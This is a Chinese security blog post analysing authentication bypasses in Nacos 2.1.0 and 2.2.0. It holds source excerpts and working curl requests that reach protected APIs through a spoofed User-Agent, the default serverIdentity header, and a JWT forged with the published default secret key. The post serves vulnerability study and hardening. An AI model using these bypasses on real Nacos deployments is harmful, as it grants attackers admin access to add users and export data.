【安全记录】- Nacos accessToken 权限认证绕过漏洞及思考
2023-1-30 18:37:35 Author: 信安文摘(查看原文) 阅读量:66 收藏

前言环境准备    IDEA配置Nacos    docker 远程调试认证过程分析    JWT加密密钥    其他认证方式        1. 默认不需要登录        2. UA头中包含Nacos-Server        3. 默认自定义身份识别标志        4. 账户信息 / JWT accessToken利用方式总结参考链接

前言

这是2023年的第一篇文章,新年快乐。

最近发现Nacos官方GitHub有一个权限认证绕过的漏洞issue:

https://github.com/alibaba/nacos/issues/9830

其中提到 docker 启动 nacos 开启认证并配置NACOS_AUTH_TOKEN时,secret.key并未生效,依然使用默认的key。外部攻击人员可以使用这个默认的key生成nacos用户的jwt认证token,并访问OpenAPI接口,达到权限绕过访问后台资源的目的。

在分析Nacos的认证校验过程时,发现多种默认的认证方式,默认情况下可以使用多种方式绕过权限认证。

环境准备

IDEA配置Nacos

下载 nacos 2.1.0 https://github.com/alibaba/nacos/releases/tag/2.1.0

配置IDEA启动nacos服务,详细步骤参考:https://www.ramostear.com/2022/03/run-nacos-in-idea.html

由于nacos中多个模块下的代码是由 Protobuf 在编译时自动生成的,直接运行会爆程序包不存在的错误,有以下两种解决方法:

1、IDEA中安装Protobuf插件

2、使用maven编译项目:mvn clean compile -Dmaven.test.skip=true

docker 远程调试

按照官方文档:https://nacos.io/zh-cn/docs/auth.html

v2.1.0

为了方便,使用standalone模式启动:

docker run -d --env PREFER_HOST_MODE=hostname --env MODE=standalone --env NACOS_AUTH_ENABLE=true --env NACOS_AUTH_TOKEN=SecretKey:e472c13e-a568-47cd-bb49-c15e253f62e9 -p 9555:9555 -p 8848:8848 nacos/nacos-server:v2.1.0

进入docker,开启调试,修改启动脚本bin/docker-startup.sh为如下:

重启docker。

v2.2.0

官方回复issue中提到该配置不生效的问题在2.2.0版本中修复。

按照上面的docker启动命令运行v2.2.0nacos版本时,会报错启动不了。结合报错内容及文档,提示变量在base64decode时失败无法实例化类,文档中提到:自定义密钥时,推荐将配置项设置为Base64编码的字符串

使用如下命令启动docker

docker run -d --env PREFER_HOST_MODE=hostname --env MODE=standalone --env NACOS_AUTH_ENABLE=true --env NACOS_AUTH_TOKEN="VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=" -p 9555:9555 -p 8848:8848 nacos/nacos-server:v2.2.0

认证过程分析

JWT加密密钥

根据官方文档,使用用户名、密码认证成功后,会返回一个jwt的accessToken,后续就可以携带该accessToken请求其他需要鉴权的api。

v2.1.0中,用户名、密码认证成功后,会在如下方法中使用jat key加密username生成token:

com.alibaba.nacos.plugin.auth.impl.JwtTokenManager#createToken(java.lang.String)

public String createToken(String userName) {
   
   long now = System.currentTimeMillis();
   
   Date validity;
   
   validity = new Date(now + nacosAuthConfig.getTokenValidityInSeconds() * 1000L);
   
   Claims claims = Jwts.claims().setSubject(userName);
   return Jwts.builder().setClaims(claims).setExpiration(validity)
          .signWith(Keys.hmacShaKeyFor(nacosAuthConfig.getSecretKeyBytes()), SignatureAlgorithm.HS256).compact();
}

key需要有string到bytes的转换:

com.alibaba.nacos.plugin.auth.impl.NacosAuthConfig#getSecretKeyBytes

public byte[] getSecretKeyBytes() {
   if (secretKeyBytes == null) {
       try {
           secretKeyBytes = Decoders.BASE64.decode(secretKey);
      } catch (DecodingException e) {
           secretKeyBytes = secretKey.getBytes(StandardCharsets.UTF_8);
      }
       
  }
   return secretKeyBytes;
}

key保存在application.properties

nacos.core.auth.default.token.secret.key=${NACOS_AUTH_TOKEN:SecretKey012345678901234567890123456789012345678901234567890123456789}

从环境变量NACOS_AUTH_TOKEN中取值,如果为空则使用默认值。

v2.1.0中,该过程并未生效,取到的key仍然是默认值。

v2.2.0中的jwt加密过程:

com.alibaba.nacos.plugin.auth.impl.JwtTokenManager#createToken(java.lang.String)

public String createToken(String userName) {
   
   Date validity = new Date(
           System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(this.getTokenValidityInSeconds()));
   
   Claims claims = Jwts.claims().setSubject(userName);
   return Jwts.builder().setClaims(claims).setExpiration(validity).signWith(secretKey, SignatureAlgorithm.HS256)
          .compact();
}

// secretKey
this.secretKey = Keys.hmacShaKeyFor(Decoders.BASE64.decode(encodedSecretKey));

// encodedSecretKey
String encodedSecretKey = EnvUtil.getProperty(AuthConstants.TOKEN_SECRET_KEY, AuthConstants.DEFAULT_TOKEN_SECRET_KEY);

v2.2.0中可以正常获取配置的key。

其他认证方式

结合官方文档,AuthFilter中可以看到所有的认证方式。

1. 默认不需要登录

按照官方文档配置启动,默认是不需要登录的。

if (!authConfigs.isAuthEnabled()) {
   chain.doFilter(request, response);
   return;
}

application.properties配置文件中默认为nacos.core.auth.enabled=false

所有需要鉴权的接口可以直接访问:

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur

2. UA头中包含Nacos-Server

在1.2~1.4.0版本期间,通过User-Agent中是否包含Nacos-Server来进行判断请求是否来自其他服务端。

if (authConfigs.isEnableUserAgentAuthWhite()) {
   String userAgent = WebUtils.getUserAgent(req);
   if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
       chain.doFilter(request, response);
       return;
  }
}

受影响版本中,application.propertiesnacos.core.auth.enable.userAgentAuthWhite=true

UA头中包含Nacos-Server就可以通过认证访问需要鉴权的接口:

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "User-Agent: Nacos-Server"

3. 默认自定义身份识别标志

从1.4.1版本开始,Nacos添加服务身份识别功能,用户可以自行配置服务端的Identity,不再使用User-Agent作为服务端请求的判断标准。

else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())) {
   String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
   if (StringUtils.isNotBlank(serverIdentity)) {
       if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
           chain.doFilter(request, response);
           return;
      }
       Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
               req.getRemoteHost());
  }
}

开启方式:

### 开启鉴权
nacos.core.auth.enabled=true

### 关闭使用user-agent判断服务端请求并放行鉴权的功能
nacos.core.auth.enable.userAgentAuthWhite=false

### 配置自定义身份识别的key(不可为空)和value(不可为空)
nacos.core.auth.server.identity.key=example
nacos.core.auth.server.identity.value=example

application.properties配置中,默认server.identity值为:

nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security

使用这两个默认值作为请求头就可以访问需要鉴权的接口:

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"

4. 账户信息 / JWT accessToken

如果前面的认证方式都没有通过,后面就会进行账户 / accessToken进行验证。

IdentityContext identityContext = protocolAuthService.parseIdentity(req);

获取与identity相关的字段信息,包含的信息如下:

经过分析,usernamepassword为一组凭据;accessTokenAuthorization各为一组凭据。

usernamepassword认证成功后,使用key加密username为JWT的token;

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&username=nacos&password=nacos"

accessTokenAuthorization则是直接的JWT token。

加密方式在上文有说。

配置文件中JWT默认key为SecretKey012345678901234567890123456789012345678901234567890123456789

默认的管理员用户名为nacos

生成accessToken(回复nacos下载)

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU"

使用Authorization就需要加上"Bearer "

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU"

利用方式总结

官方文档只描述了如何开启鉴权,以及不开启鉴权的后果;但是默认启动却不开鉴权的。

并且按照官方文档开启鉴权后,在低版本中还有UA头通过鉴权,以及使用默认的server.identityJWT两种方式均可通过鉴权。

在实际环境中,可以遇到很多使用默认server.identifyJWT key的环境,使得进一步能够通过api接口添加用户、导出数据源等高危敏感操作。

相关附件回复nacos下载。

参考链接

https://mp.weixin.qq.com/s/Jwwd5ailKNhwR57ACXB1kQ


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3OTEwMzIzNA==&mid=2247484588&idx=1&sn=e8e1322b6c370bdf46cf44565770b3b6&chksm=cf08d8c1f87f51d77e339a803196d0ca80fdc54836dfa38b840dd12b4ce13bbd92003ea2fd36#rd
如有侵权请联系:admin#unsafe.sh